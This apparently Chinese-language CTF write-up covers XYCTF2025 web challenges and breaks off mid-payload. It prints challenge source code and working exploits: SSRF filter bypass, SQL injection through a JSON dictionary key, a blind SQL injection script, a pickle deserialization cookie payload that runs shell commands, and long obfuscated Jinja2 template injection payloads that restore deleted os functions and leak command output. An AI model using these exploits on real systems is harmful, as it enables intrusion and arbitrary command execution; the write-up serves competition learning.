XYCTF2025 Web wp

由于比赛的时候刚好遇到值班,所以随便打了打。。

fate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')

target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)

return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]

@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")

name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""

fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")

return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
app.run(debug=True)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import sqlite3

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
NAME TEXT NOT NULL,
FATE TEXT NOT NULL
);""")
Fate = [
('JOHN', '1994-2030 Dead in a car accident'),
('JANE', '1990-2025 Lost in a fire'),
('SARAH', '1982-2017 Fired by a government official'),
('DANIEL', '1978-2013 Murdered by a police officer'),
('LUKE', '1974-2010 Assassinated by a military officer'),
('KAREN', '1970-2006 Fallen from a cliff'),
('BRIAN', '1966-2002 Drowned in a river'),
('ANNA', '1962-1998 Killed by a bomb'),
('JACOB', '1954-1990 Lost in a plane crash'),
('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)

conn.commit()
conn.close()

首先看app.py,/proxy路由处存在ssrf,用@和2130706433来绕过就可以,前面的ssrf还是比较简单的我认为,abcdefghi可以二次编码绕过,后面1的传参url编码绕过即可。最后我们需要关注的是json.loads

读取LAMENTXU即可都得到flag。但是,在app.py中限制了长度不能>6,即不可能读取到LAMENTXU对应的值。

显然,在限制了长度<6的情况下是不可能直接输入字符串进行SQL注入的。

然后我们发现了json.loads,且传参没有进行任何检查。我们可以利用列表、元组、字典等类型传入非字符串类型

最后直接将用户的输入拼接到sql语句里查询。

1
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")

这里可以使用python中格式化字符串的特性。即:

1
2
a = ['a', 'b', 'c']
print(f'test {a}')

可以看到输出test ['a', 'b', 'c']

因此我们可以构造恶意语句进行拼接从而进行sql注入。

1
{"name":{"')))))))union select FATE from FATETABLE limit 9,1--+":"1"}}

转个二进制传参就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def string_to_binary(input_string):
"""
将字符串转换为二进制字符串(每个字符对应8位二进制表示)

参数:
input_string: 要转换的字符串

返回:
由0和1组成的二进制字符串,每个字符对应8位
"""
binary_output = ''.join(format(ord(char), '08b') for char in input_string)
return binary_output


def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output

original_string = '{"name":{"\')))))))union select FATE from FATETABLE limit 9,1--+":"1"}}'
binary_str = string_to_binary(original_string) # 转换为二进制字符串
restored_string = binary_to_string(binary_str) # 再转换回原字符串

print(f"原始字符串: {original_string}")
print(f"二进制表示: {binary_str}")
print(f"还原后的字符串: {restored_string}")

1
flag{Do4t_bElIevE_in_FatE_Y1s_Y0u_2_a_Js0n_ge1nus!}

Signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()#Hell0_H@cker_Y0u_A3r_Sm@r7

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)


喜欢bottle框架的题,因为是单文件的,看源码非常方便!!

这题好像是个1day??bottle框架的pickle反序列化利用(通过cookie)

考察的是bottle框架的cookie加密机制。

至于文件读取直接

1
./.././../secret.txt

即可绕过。尝试读环境变量等全部失败,且flag的名称为随机的uuid4值,读是读不了一点的,也没能发现flag的名称。

尝试跟进/secret路由下get_cookie以及set_cookie的源码,发现存在pickle.loads,一眼pickle反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default

get_cookie对应cookie的解密机制,set_cookie对应cookie的加密机制,本地搭建一个环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from bottle import Bottle, request, response, redirect, static_file, run, route

import pickle

app = Bottle()

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class cmd(object):
def __reduce__(self):
return (eval,("__import__('o'+'s').system('tac /flag* >1.txt')",))

@route('/')
def index():
return '''HI'''

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
print(session)
if not session or session["name"] == "guest":
session = {"name": "admin"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"

@route('/set')
def set_signed_cookie():
print('start')
session = {"name": cmd()}
#session={"name":"admin"}
response.set_cookie("name", session, secret=secret)
return "Cookie set!"

run(host='0.0.0.0', port=8082, debug=False)

先尝试将name设置为guest以及admin的值,发现与题目的一样,那么就拿捏了。

1
flag{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!}

ezsql(手动滑稽)

第一关第二关就是sql注入读到就行,第三关是无回显rce。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string

import requests
target='http://eci-2ze8si9wekdzhhw9ll87.cloudeci1.ichunqiu.com/login.php'
sum_str=string.ascii_letters+string.digits+'-_{},'

flag=''
for i in range(1,1000):
for j in sum_str:
#payload_username="1'\tor\tsubstr(database()\tfrom\t{}\tfor\t1)='{}'#".format(i,j)
#payload_username = "1'\tor\tsubstr((select\tgroup_concat(table_name)from\tinformation_schema.tables\twhere\ttable_schema=database())\tfrom\t{}\tfor\t1)='{}'#".format(i, j)
#double-check-user
#payload_username = "1'\tor\tsubstr((select\tgroup_concat(column_name)from\tinformation_schema.columns\twhere\ttable_name='double_check')\tfrom\t{}\tfor\t1)='{}'#".format(i, j)
payload_username = "1'\tor\tsubstr((select\tgroup_concat(secret)from\tdouble_check)\tfrom\t{}\tfor\t1)='{}'#".format(i, j)
res=requests.post(target,data={"username":payload_username,"password":"123"})
#print(res.text)
#yudeyoushang
#zhonghengyisheng
#dtfrtkcc0czkoua9s
if '帐号' not in res.text:
flag+=j
print(flag)
break
else:
print('nothing')
1
2
3
账号        #yudeyoushang
密码 #zhonghengyisheng
管理员密钥 #dtfrtkcc0czkoua9s

读到就行。然后是无回显rce。

1
XYCTF{0828cfea-0555-4874-a17d-d962d9acc0b3}

Now you see me 1

想了挺久的,刚开始一直在找官方文档,看哪里能构造字符集,突然发现config没有过滤,那么就可以用config来构造字符集,用~.来进行切分和拼接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

其实就是将config渲染出来的内容作为原始字符集,逐步构造被过滤掉的字符,如果字符集中不存在某个字符,可以通过request.url等方式来拓展字符集,然后通过~来进行拼接。

逐步获取一下!此处不同的人payload不同,因为url不同。

1
GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri%0a=%0ai.399~i.398~i.20%}{%print(request|attr(uri))%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0alip=%0ai.20~i.5~i.789~i.21~i.399~i.159%}{%set%0aglob=i.80~i.80~i.6~i.20~i.68~j.322~i.154~i.20~i.21~i.80~i.80%}{%print(lip)%}{%print(glob)%}{%set%0aap=i.154~i.789~i.789~i.20~i.5~j.8~i.154~i.155~i.5~i.68~i.226%}{%print(request|attr(ap)|attr(glob))%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7B%23

直接lip|attr(glob)是不可以的,亲测,主要是因为这个lip是不能这样被使用的,那么就要request来开头,找官方文档,发现一个application可以利用!

1
/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri%0a=%0ai.399~i.398~i.20%}{%print(request|attr(uri))%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0alip=%0ai.20~i.5~i.789~i.21~i.399~i.159%}{%set%0aglob=i.80~i.80~i.6~i.20~i.68~j.322~i.154~i.20~i.21~i.80~i.80%}{%print(lip)%}{%print(glob)%}{%set%0aap=i.154~i.789~i.789~i.20~i.5~j.8~i.154~i.155~i.5~i.68~i.226%}{%set%0aev=i.881~j.489~i.154~i.20%}{%set%0abuil=i.80~i.80~j.322~i.399~i.5~i.20~i.155~i.5~i.226~i.21~i.80~i.80%}{%set%0agei=i.80~i.80~i.6~i.227~i.155~i.5~i.155~i.227~i.159~i.80~i.80%}{%set%0apo=i.739~i.68~i.789~i.227~i.226%}{%set%0aso=i.68~i.21%}{%set%0aim=i.80~i.80~i.5~i.159~i.789~i.68~i.398~i.155~i.80~i.80%}{%print(im)%}{%print(op)%}{%print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)|attr(po))%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7B%23

当我获取到os模块的时候,发现popen和system都没有了。。。赫赫。

回globals看看有什么可以用的。

system被删除?我们可以想办法恢复。或者看看有没有漏掉没禁用的。

1
2
3
4
5
import os
import importlib
del os.system
importlib.reload(os)
os.system('whoami') #这时命令是成功的!
1
/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri%0a=%0ai.399~i.398~i.20%}{%print(request|attr(uri))%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0alip=%0ai.20~i.5~i.789~i.21~i.399~i.159%}{%set%0aglob=i.80~i.80~i.6~i.20~i.68~j.322~i.154~i.20~i.21~i.80~i.80%}{%print(lip)%}{%print(glob)%}{%set%0aap=i.154~i.789~i.789~i.20~i.5~j.8~i.154~i.155~i.5~i.68~i.226%}{%set%0aev=i.881~j.489~i.154~i.20%}{%set%0abuil=i.80~i.80~j.322~i.399~i.5~i.20~i.155~i.5~i.226~i.21~i.80~i.80%}{%set%0agei=i.80~i.80~i.6~i.227~i.155~i.5~i.155~i.227~i.159~i.80~i.80%}{%set%0apo=i.789~i.68~i.789~i.227~i.226%}{%set%0aso=i.68~i.21%}{%set%0aim=i.80~i.80~i.5~i.159~i.789~i.68~i.398~i.155~i.80~i.80%}{%set%0aiml=i.5~i.159~i.789~i.68~i.398~i.155~i.20~i.5~j.322%}{%set%0are=i.398~i.227~i.20~i.68~i.429~i.153%}{%set%0aco=i.20~i.21~i.7~i.272%}{%set%0ard=i.398~i.227~i.154~i.153%}{%print(im)%}{%print(op)%}{%print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(iml)|attr(re)(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)))%}{%print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)|attr(po)(co)|attr(rd)())%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7B%23

接下来我们

1
tac /flag_h3r3

但是他会报错??

1
GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri%0a=%0ai.399~i.398~i.20%}{%print(request|attr(uri))%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0alip=%0ai.20~i.5~i.789~i.21~i.399~i.159%}{%set%0aglob=i.80~i.80~i.6~i.20~i.68~j.322~i.154~i.20~i.21~i.80~i.80%}{%print(lip)%}{%print(glob)%}{%set%0aap=i.154~i.789~i.789~i.20~i.5~j.8~i.154~i.155~i.5~i.68~i.226%}{%set%0aev=i.881~j.489~i.154~i.20%}{%set%0abuil=i.80~i.80~j.322~i.399~i.5~i.20~i.155~i.5~i.226~i.21~i.80~i.80%}{%set%0agei=i.80~i.80~i.6~i.227~i.155~i.5~i.155~i.227~i.159~i.80~i.80%}{%set%0apo=i.789~i.68~i.789~i.227~i.226%}{%set%0aso=i.68~i.21%}{%set%0aim=i.80~i.80~i.5~i.159~i.789~i.68~i.398~i.155~i.80~i.80%}{%set%0aiml=i.5~i.159~i.789~i.68~i.398~i.155~i.20~i.5~j.322%}{%set%0are=i.398~i.227~i.20~i.68~i.429~i.153%}{%set%0aco=j.322~i.154~i.21~i.881~j.18~j.14~i.7~i.272~i.4~i.20~i.154~i.6~i.53~i.786~i.846~i.398~i.846%}{%set%0ard=i.398~i.227~i.154~i.153%}{%print(im)%}{%print(op)%}{%print(co)%}{%print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(iml)|attr(re)(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)))%}{%print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)|attr(po)(co)|attr(rd)())%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7B%23

尝试用base64读,发现超级长的回显,下载下来赛博厨子一下。

发现是一个riff。

1
flag{N0w_y0u_sEEEEEEEEEEEEEEE_m3!!!!!!}

Now you see me 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:20:49
@Author : LamentXU
'''
# DNS config: No reversing shells for you.
import flask
import time, random
import flask
import sys

enable_hook = False
counter = 0


def audit_checker(event, args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)


lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url', '\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/", "self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last",
" ", "dict", "list", "g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referrer",
"authorization", "user", "pragma", "mimetype", "origin"
"Isn't that enough? Isn't that enough."]
# lock_within = []
allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"]
app = flask.Flask(__name__)


@app.route('/')
def index():
return 'try /H3dden_route'


@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
quote = flask.request.args.get('spell')
if quote:
try:
if quote.startswith("fly-"):
for i in lock_within:
if i in quote:
print(i)
return "wouldn't it be easier to give in?"
time.sleep(random.randint(10, 30) / 10) # No time based injections.
flask.render_template_string('Let-the-magic-{#' + f'{quote}' + '#}')
print("Registered endpoints and functions:")
for endpoint, func in app.view_functions.items():
if endpoint not in allowed_endpoint:
del func # No creating backdoor functions & endpoints.
return f'What are you doing with {endpoint} hacker?'

return 'Let the true magic begin!'
else:
return 'My inside world is always hidden.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'


if __name__ == '__main__':
import os

try:
import _posixsubprocess

del _posixsubprocess.fork_exec
except:
pass
import subprocess

del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

这里把回显去掉了,那么就有时间盲注、请求头回显、内存马、弹shell、写文件的方法。

这里给出一个请求头回显的基础payload:

1
{{lipsum.__globals__.__builtins__.setattr(lipsum.__globals__.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.os.popen('whoami').read())}}

这里没有回显,我们根本读不到config的内容了,那么怎么办呢?其实还有一种叫endpoint

https://flask.palletsprojects.com/en/stable/api/#flask.Request.endpoint

我们现在本地看看效果

1
2
3
GET /H3dden_route?spell=fly-%23%7D{%print(request.endpoint)%}%7B%23 HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

回显如下:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.10
Date: Wed, 09 Apr 2025 04:53:31 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 33

Let-the-magic-r3al_ins1de_th0ught

它的回显要去除掉Let-the-magic-r3al_ins1de_th0ught才是request.endpoint的值,也就是路由的函数名,那么我们就可以开始构造了。

这么点字符肯定是不够的,我们用request.url也可以,用request.data等其实都可以。data就是获取POST传入的参数,可能会比较好观察,那么我们这里就用data。

1
b'123456789abcdefghijklmnopqrstuvwxyz_-{}'

然后开始构造请求头回显的payload

1
2
3
4
5
GET /H3dden_route?spell=fly-%23%7D{%for%0ai%0ain%0arequest.endpoint|string|slice(1)%}{%set%0adat=i.9~i.2~i.18~i.2%}{%for%0aj%0ain%0arequest|attr(dat)|string|slice(1)%}{%set%0alip=j.22~j.19~j.26~j.29~j.31~j.23%}{%set%0aglo=j.37~j.37~j.17~j.22~j.25~j.0~j.11~j.22~j.29~j.37~j.37%}{%set%0abuil=j.37~j.37~j.0~j.31~j.19~j.22~j.30~j.19~j.24~j.29~j.37~j.37%}{%set%0aset=j.29~j.15~j.30~j.11~j.30~j.30~j.28%}{%set%0aspe=j.37~j.37~j.29~j.26~j.15~j.13~j.37~j.37%}{%set%0aini=j.37~j.37~j.19~j.24~j.19~j.30~j.37~j.37%}{%set%0as=j.29~j.35~j.29%}{%set%0amod=j.23~j.25~j.14~j.31~j.22~j.15~j.29%}{%set%0awer=j.33~j.15~j.28~j.21~j.36~j.15~j.31~j.17%}{%set%0aget=j.37~j.37~j.17~j.15~j.30~j.19~j.30~j.15~j.23~j.37~j.37%}{%set%0aserv=j.29~j.15~j.28~j.32~j.19~j.24~j.17%}{%set%0awsg=j.41~j.42~j.43~j.44~j.45~j.15~j.27~j.31~j.15~j.29~j.30~j.46~j.11~j.24~j.14~j.22~j.15~j.28%}{%set%0averi=j.26~j.28~j.25~j.30~j.25~j.13~j.25~j.22~j.37~j.32~j.15~j.28~j.29~j.19~j.25~j.24%}{%set%0aso=j.25~j.29%}{%set%0asv=j.29~j.15~j.28~j.32~j.15~j.28~j.37~j.32~j.15~j.28~j.29~j.19~j.25~j.24%}{%set%0apen=j.26~j.25~j.26~j.15~j.24%}{%set%0aap=j.11~j.26~j.26~j.22~j.19~j.13~j.11~j.30~j.19~j.25~j.24%}{%set%0aop=j.26~j.25~j.26%}{%set%0aim=j.37~j.37~j.19~j.23~j.26~j.25~j.28~j.30~j.37~j.37%}{%print(g|attr(op)|attr(glo)|attr(get)(buil)|attr(get)(set)(g|attr(op)|attr(glo)|attr(get)(s)|attr(mod)|attr(get)(wer)|attr(serv)|attr(wsg),veri,g|attr(op)|attr(glo)|attr(get)(buil)|attr(get)(im)(so)))%}{%endfor%}{%endfor%}%7B%23 HTTP/1.1
Host: gz.imxbt.cn:20003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

123456789abcdefghijklmnopqrstuvwxyz_-{}WSGIRH

好累啊!!!成功一半了,接下来就是处理被删除的popen

1
2
3
4
5
GET /H3dden_route?spell=fly-%23%7D{%for%0ai%0ain%0arequest.endpoint|string|slice(1)%}{%set%0adat=i.9~i.2~i.18~i.2%}{%for%0aj%0ain%0arequest|attr(dat)|string|slice(1)%}{%set%0alip=j.22~j.19~j.26~j.29~j.31~j.23%}{%set%0aglo=j.37~j.37~j.17~j.22~j.25~j.0~j.11~j.22~j.29~j.37~j.37%}{%set%0abuil=j.37~j.37~j.0~j.31~j.19~j.22~j.30~j.19~j.24~j.29~j.37~j.37%}{%set%0aset=j.29~j.15~j.30~j.11~j.30~j.30~j.28%}{%set%0aspe=j.37~j.37~j.29~j.26~j.15~j.13~j.37~j.37%}{%set%0aini=j.37~j.37~j.19~j.24~j.19~j.30~j.37~j.37%}{%set%0as=j.29~j.35~j.29%}{%set%0amod=j.23~j.25~j.14~j.31~j.22~j.15~j.29%}{%set%0awer=j.33~j.15~j.28~j.21~j.36~j.15~j.31~j.17%}{%set%0aget=j.37~j.37~j.17~j.15~j.30~j.19~j.30~j.15~j.23~j.37~j.37%}{%set%0aserv=j.29~j.15~j.28~j.32~j.19~j.24~j.17%}{%set%0awsg=j.41~j.42~j.43~j.44~j.45~j.15~j.27~j.31~j.15~j.29~j.30~j.46~j.11~j.24~j.14~j.22~j.15~j.28%}{%set%0averi=j.26~j.28~j.25~j.30~j.25~j.13~j.25~j.22~j.37~j.32~j.15~j.28~j.29~j.19~j.25~j.24%}{%set%0aso=j.25~j.29%}{%set%0asv=j.29~j.15~j.28~j.32~j.15~j.28~j.37~j.32~j.15~j.28~j.29~j.19~j.25~j.24%}{%set%0apen=j.26~j.25~j.26~j.15~j.24%}{%set%0aap=j.11~j.26~j.26~j.22~j.19~j.13~j.11~j.30~j.19~j.25~j.24%}{%set%0aop=j.26~j.25~j.26%}{%set%0aim=j.37~j.37~j.19~j.23~j.26~j.25~j.28~j.30~j.37~j.37%}{%set%0aiml=j.19~j.23~j.26~j.25~j.28~j.30~j.22~j.19~j.0%}{%set%0aloa=j.28~j.15~j.22~j.25~j.11~j.14%}{%set%0ard=j.28~j.15~j.11~j.14%}{%set%0aco=j.22~j.29~j.47~j.48%}{%print(g|attr(op)|attr(glo)|attr(get)(buil)|attr(get)(im)(iml)|attr(loa)(g|attr(op)|attr(glo)|attr(get)(buil)|attr(get)(im)(so)))%}{%print(g|attr(op)|attr(glo)|attr(get)(buil)|attr(get)(set)(g|attr(op)|attr(glo)|attr(get)(s)|attr(mod)|attr(get)(wer)|attr(serv)|attr(wsg),veri,g|attr(op)|attr(glo)|attr(get)(buil)|attr(get)(im)(so)|attr(pen)(co)|attr(rd)()))%}{%endfor%}{%endfor%}%7B%23 HTTP/1.1
Host: gz.imxbt.cn:20050
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

123456789abcdefghijklmnopqrstuvwxyz_-{}WSGIRH /

其实上述payload几乎是可以直接拿去用的,只需要改一下data的构造和command的构造即可。

然后我们用base64命令来读取/flag

1
2
3
4
5
GET /H3dden_route?spell=fly-%23%7D{%for%0ai%0ain%0arequest.endpoint|string|slice(1)%}{%set%0adat=i.9~i.2~i.18~i.2%}{%for%0aj%0ain%0arequest|attr(dat)|string|slice(1)%}{%set%0alip=j.22~j.19~j.26~j.29~j.31~j.23%}{%set%0aglo=j.37~j.37~j.17~j.22~j.25~j.0~j.11~j.22~j.29~j.37~j.37%}{%set%0abuil=j.37~j.37~j.0~j.31~j.19~j.22~j.30~j.19~j.24~j.29~j.37~j.37%}{%set%0aset=j.29~j.15~j.30~j.11~j.30~j.30~j.28%}{%set%0aspe=j.37~j.37~j.29~j.26~j.15~j.13~j.37~j.37%}{%set%0aini=j.37~j.37~j.19~j.24~j.19~j.30~j.37~j.37%}{%set%0as=j.29~j.35~j.29%}{%set%0amod=j.23~j.25~j.14~j.31~j.22~j.15~j.29%}{%set%0awer=j.33~j.15~j.28~j.21~j.36~j.15~j.31~j.17%}{%set%0aget=j.37~j.37~j.17~j.15~j.30~j.19~j.30~j.15~j.23~j.37~j.37%}{%set%0aserv=j.29~j.15~j.28~j.32~j.19~j.24~j.17%}{%set%0awsg=j.41~j.42~j.43~j.44~j.45~j.15~j.27~j.31~j.15~j.29~j.30~j.46~j.11~j.24~j.14~j.22~